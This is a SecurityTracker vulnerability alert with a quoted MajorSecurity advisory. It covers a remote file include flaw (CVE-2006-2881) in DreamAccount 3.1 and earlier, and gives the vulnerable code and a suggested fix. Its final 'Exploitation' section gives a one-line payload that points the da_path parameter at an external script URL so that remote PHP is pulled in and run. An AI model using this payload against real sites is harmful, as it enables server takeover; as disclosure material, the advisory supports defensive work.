DreamAccount Include File Bug in 'auth.cookie.inc.php' Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1016272
|
|
SecurityTracker URL: http://securitytracker.com/id?1016272
|
|
CVE Reference: CVE-2006-2881
(Links to External Site)
|
Date: Jun 13 2006
|
Impact: Execution of arbitrary code via network, User access via network
|
Version(s): 3.1 and prior versions
|
Description: David 'Aesthetico' Vieira-Kurz of MajorSecurity discovered a vulnerability in DreamAccount. A remote user can include and execute arbitrary code on the target system.
The 'auth.cookie.inc.php' script does not properly validate user-supplied input in the 'da_path' parameter. If register_globals
is enabled, a remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code
from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
The
'auth.header.inc.php' and 'auth.sessions.inc.php' scripts are also affected.
The original advisory is available at:
http://www.majorsecurity.de/advisory/major_rls8.
txt
|
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: dreamcost.com/?page=dreamaccount (Links to External Site)
|
Cause: Input validation error, State error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: admin@majorsecurity.de
|
Message History:
None.
|
Source Message Contents
|
Date: 5 Jun 2006 09:23:00 -0000
From: admin@majorsecurity.de
Subject: [MajorSecurity #8]DreamAccount <= 3.1 - Remote File Include
|
[MajorSecurity #8]DreamAccount <= 3.1 - Remote File Include Vulnerability
-------------------------------------------------------------------------
Software: DreamAccount
Version: <=3.1
Type: Remote File Include Vulnerability
Date: June, 3rd 2006
Vendor: dreamcost
Page: http://dreamcost.com
Risc: High
Credits:
----------------------------
Discovered by: David 'Aesthetico' Vieira-Kurz
http://www.majorsecurity.de
Original Advisory:
----------------------------
http://www.majorsecurity.de/advisory/major_rls8.txt
Affected Products:
----------------------------
DreamAccount 3.1 and prior
Description:
----------------------------
DreamAccount is a membership and subscription software application that is both simple to use and ins tall,
while remaining affordable enough for even the smallest startup.
Requirements:
----------------------------
register_globals = On
Vulnerability:
----------------------------
Input passed to the "da_path" parameter in "auth.cookie.inc.php" is not
properly verified, before it is used to include files.
This can be exploited to execute arbitrary code by including files from external resources.
Solution:
----------------------------
I think you can fix this bug by replacing the following vulnerable code in the
"auth.cookie.inc.php" with my one. It should fix the vulnerabilty and solve this
problem.
Vulnerable one: "require($da_path . "setup.php");"
MajorSecurity fix: "require("setup.php");"
Set "register_globals" to "Off".
Exploitation:
----------------------------
Post data:
da_path=http://www.yourspace.com/yourscript.php?
|
|